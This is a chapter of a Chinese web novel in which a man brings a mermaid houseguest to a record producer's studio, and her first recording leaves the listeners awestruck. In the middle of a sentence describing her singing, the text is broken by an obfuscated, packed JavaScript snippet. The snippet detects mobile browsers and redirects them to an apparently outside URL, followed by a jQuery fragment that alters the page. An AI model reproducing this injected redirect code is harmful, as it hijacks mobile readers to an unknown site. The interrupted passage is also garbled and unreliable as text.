那场夹杂着怒火、委屈、以及差点失控的争吵,像一场突如其来的暴风雨,席卷了德普和佩欣丝之间的同居生活。
暴风雨过后,留下的是一片狼藉的尴尬和一种刻意回避的沉默。
佩欣丝把自己关在主卧整整一天,期间只在饭点探出头来,像只受惊的小动物一样,迅速叼走德普放在门口的食物,然后又“砰”地一声关上门。
德普也乐得清静,或者说,他也需要时间来消化那场差点擦枪走火的对话。
他反复回味着佩欣丝那句带着哭腔的“你是不是觉得我很没用”,以及自己那番脱口而出的、近乎表白的“你很特别,你的歌声是我听过最美的声音”。
每一次回想,都让他心头一阵发紧,伴随着一种他自己也说不清道不明的,混合了懊恼、庆幸和一丝丝甜蜜的复杂情绪。
他懊恼自己没能控制住情绪,差点把事情搞得更糟。
庆幸的是,在最后关头,那层窗户纸终究没有被彻底捅破,否则他真不知道该如何面对一个可能对他产生了非分之想的人鱼,或者说,是他对人鱼产生了非分之想。
而那丝丝的甜蜜,大概是因为他终于把自己对她歌声的真实感受,以及某种程度上对她这个麻烦精的真实看法,说了出来。
这种微妙的僵局持续了两天。
直到第三天早上,佩欣丝顶着两个硕大的黑眼圈,主动出现在了德普面前。
“喂,仆人先生,”她的声音还有些沙哑,但语气却恢复了几分平日里的骄纵,“关于那个……职业唱歌人鱼的事情,我……我再考虑一下。”
德普正喝着咖啡,闻言差点呛到。“你……你说什么?”
“我说,”佩欣丝清了清嗓子,努力摆出一副“本小姐只是随便给个机会”的表情,“我可以……勉为其难地,去你们人类那个什么唱歌珊瑚礁看看。但是!”
她立刻竖起一根手指,提出了她的条件:“第一,你必须全程陪着我!第二,如果我觉得不好玩,或者他们给的小鱼干不够新鲜,我可以随时走人!第三,也是最重要的!”她顿了顿,表情变得异常严肃,“在我唱歌的时候,方圆十米之内,不准出现任何身上喷了香味的人类!他们身上的味道,比百年海藻泥还难闻!”
德普听着她这些依旧奇葩但还算靠谱一点的条件,再看看她那副明明很想尝试却还要故作矜持的别扭样子,心里那块因为前几天争吵而压着的石头,莫名地就松动了。
他放下咖啡杯,脸上露出了几天来第一个真心的笑容:“好,成交。你的条件,我尽量……跟他们沟通。”
他决定,先答应下来再说。至于马库斯听到最后一条时会是什么表情,那就不在他的考虑范围之内了。
于是,在德普威逼利诱加连哄带骗的安排下,佩欣丝的第一次录音室初体验被提上了日程。
地点自然是马库斯的私人录音棚——那里设备顶级,安保严密,而且马库斯已经为了佩欣丝的首秀望眼欲穿,几乎要把自己的胡子都揪秃了。
出发前,德普又对佩欣丝进行了一番魔鬼式的叮嘱,核心内容依旧是“少说话,多微笑,别乱碰东西,以及,千万不要在任何人面前讨论你的鱼生!”
佩欣丝被他念叨得耳朵都快起茧子了,不耐烦地挥挥手:“知道了知道了!仆人先生你比海里的老海龟还啰嗦!”
但德普还是从她那微微有些发亮的眼睛里,捕捉到了一丝紧张和期待。
当德普带着佩欣丝抵达马库斯的录音棚时,这位平时呼风唤雨的厂牌老板,正像个等待偶像签名的小粉丝一样,激动地搓着手,在门口亲自迎接。
他身后还跟着一位看起来经验丰富,表情却有些困惑的顶级录音师,显然,马库斯已经对他进行了无数遍关于即将见证奇迹的洗脑。
“Johnny!佩欣丝小姐!欢迎欢迎!快请进!”马库斯的热情简直能把录音棚的隔音棉都点燃。他看着佩欣丝的眼神,充满了毫不掩饰的欣赏和饿狼看到小绵羊般的渴望。
佩欣丝显然不太适应这种过分的热情,她下意识地往德普身后躲了躲,小声嘀咕:“这个家伙……眼睛怎么绿油油的?他是不是想吃了我?”
德普忍着笑,拍了拍她的胳膊,低声安抚:“别怕,他只是……太喜欢你的声音了。”然后对马库斯使了个眼色,示意他收敛一点。
录音棚比佩欣丝想象中的要小,而且干燥。
没有她期待的唱歌珊瑚礁,也没有亮晶晶的贝壳乐器,只有一堆堆奇形怪状的、布满了按钮和旋钮的机器,以及一个被厚厚海绵包裹起来的,像个小黑屋一样的唱歌间。
“这就是你们人类唱歌的地方?”佩欣丝好奇地戳了戳调音台上的一个推子,又摸了摸立在地上的麦克风防喷罩,“怎么感觉……像个巨大的,不会游泳的潜水艇?”
马库斯和录音师听着她这清奇的比喻,面面相觑,表情都有些一言难尽。
德普赶紧打圆场:“咳,佩欣丝,这里就是让你发出声音的地方。你不用管这些机器,就像你在浴室里唱歌一样,放松就好。”
他把佩欣丝领到录音室的麦克风前,又对马库斯和录音师强调了一遍:“她……嗯,比较随性,让她自由发挥就好。还有,关于佩欣丝小姐提出的第三个条件……”
他硬着头皮把那个“方圆十米无浓香人类”的奇葩要求转述了一遍。
马库斯和录音师的表情更加精彩了,但看着德普那副“你们敢不答应试试”的眼神,以及佩欣丝那双清澈却带着一丝警惕的蓝眼睛,他们还是明智地选择了点头同意。
一切准备就绪。
佩欣丝站在麦克风前,显得有些无所适从。
她看了看玻璃墙外表情各异的三个男人,又看了看眼前这个黑漆漆的,据说能“吃掉”她声音的麦克风,突然觉得有点紧张。
这和她在海里唱歌,或者在德普的浴缸里唱歌,感觉完全不一样。
那里只有她自己,和她熟悉的水流。而这里……有奇怪的机器,有陌生的气味,还有……三双充满了期待和探究的眼睛。
她下意识地看向德普。
德普隔着玻璃,对她露出了一个鼓励的微笑,用口型无声地说了句:“别怕,唱你喜欢的。”
不知为何,看到德普的笑容,佩欣丝心里那点莫名的紧张感,竟然奇迹般地消散了不少。她深吸一口气,闭上了眼睛。
她想起了故乡那片蔚蓝深邃的海洋,想起了在月光下唱歌的夜晚,想起了那些追逐着她歌声嬉戏的鱼群,想起了海巫闺蜜把她丢进时空漩涡前,那句带着几分戏谑的“去另一个世界折磨他吧”。
然后,她开口了。
没有伴奏,没有歌词,只是一段从她灵魂深处流淌出来的,最原始最纯粹的旋律。
那声音,如同天山顶上初融的冰雪,带着极致的清冽和纯净;又如同深海万米之下涌动的暗流,蕴含着古老而磅礴的力量;它时而像精灵在月夜下的低语,空灵悠远,带着不食人间烟火的圣洁;
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589459|171825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时而又像海妖在风暴中的吟唱,充满了蛊惑人心的魔力和一丝难以察觉的,属于异世界的哀伤。
整个录音棚,瞬间陷入了一种近乎凝固的寂静。
马库斯张大了嘴巴,手里的咖啡杯倾斜了都毫无察觉,滚烫的咖啡液滴落在他的裤子上,他也浑然不觉。
他从业几十年,听过无数顶尖歌手的声音,但没有任何一个,能像眼前这个女孩的歌声一样,如此轻易地穿透他的耳膜,直击他的灵魂,让他浑身的血液都仿佛在这一刻凝固,又在下一刻沸腾!
旁边的录音师,那位经验丰富见惯了大场面的大叔,此刻也像是被施了定身咒一般,呆呆地看着调音台上的波形指示灯,那平稳而富有生命力的曲线,简直就是世界上最美妙的画作。
他甚至忘记了去调整任何参数,因为这声音……根本不需要任何修饰,它本身就是完美的!
而站在控制室里的德普,尽管已经不是第一次听到佩欣丝的歌声,但每一次,都依旧会被深深地撼动。
尤其是在这样专业的录音环境下,佩欣丝声音中那些细微的,奇妙的转音和颤音,以及那种仿佛能与整个空间产生共鸣的,不可思议的穿透力,都被无限放大。
他看着录音间里那个闭着眼睛,微微仰着头,仿佛完全沉浸在自己世界里的女孩,看着她纤细的身体里爆发出如此惊人的能量,心中涌起一股难以言喻的骄傲和心疼。
骄傲于她的天赋如此卓绝,心疼于她这份不属于尘世的美好,即将被卷入这个复杂喧嚣的世界。
一曲终后,余音袅袅,仿佛还在空气中盘旋回荡。
佩欣丝睁开眼睛,有些茫然地看着外面那三个如同石化了一般的男人,小声地问:“……怎,怎么样?是不是……很难听?”
“难听?!”
马库斯像是被人从梦中惊醒,猛地从椅子上跳了起来,因为动作太猛,差点把调音台上的设备都带倒。
“不!不不不!佩欣丝小姐!这不是难听!这是……这是上帝的亲吻!是缪斯的叹息!是……是我这辈子听过最美妙最不可思议的声音!你……你简直就是上帝的宠儿!”他激动得语无伦次,脸颊涨得通红,看佩欣丝的眼神,已经从饿狼看绵羊,升级到了信徒仰望神祇!
“上帝的宠儿?”佩欣丝偏着脑袋,似乎不太理解这个称呼的含义,“上帝是谁?他养的宠物……是不是也能得到很多小鱼干?”
马库斯和录音师:“……”
德普扶额,就知道会这样。
他走上前,拍了拍还在激动状态的马库斯的肩膀,低声说:“冷静点,马库斯。别吓到她。”然后转向佩欣丝,脸上带着一丝连他自己都没察觉到的温柔笑意,“你唱得……非常好。非常好。”
得到德普的肯定,佩欣丝似乎比得到马库斯那夸张的赞美还要开心。
她咧开嘴,露出了一个有些羞涩又带着点小得意的笑容:“真的吗?那……我的蓝鳍金枪鱼呢?”
德普看着她那副唱歌就是为了金枪鱼的财迷样子,再看看旁边那两位依旧沉浸在巨大震撼中无法自拔的音乐人,突然觉得……这场职业唱歌人鱼的冒险,也许……会比他想象中,更加有趣,也更加……失控。
而他和佩欣丝之间的关系,似乎也在这一刻,悄然进入了一个全新的充满了未知与挑战的阶段。
他不再仅仅是她的收留者和仆人先生,更像是她的引路人,她的守护者,以及这场奇幻旅程中,唯一能让她信赖和依靠的同伴。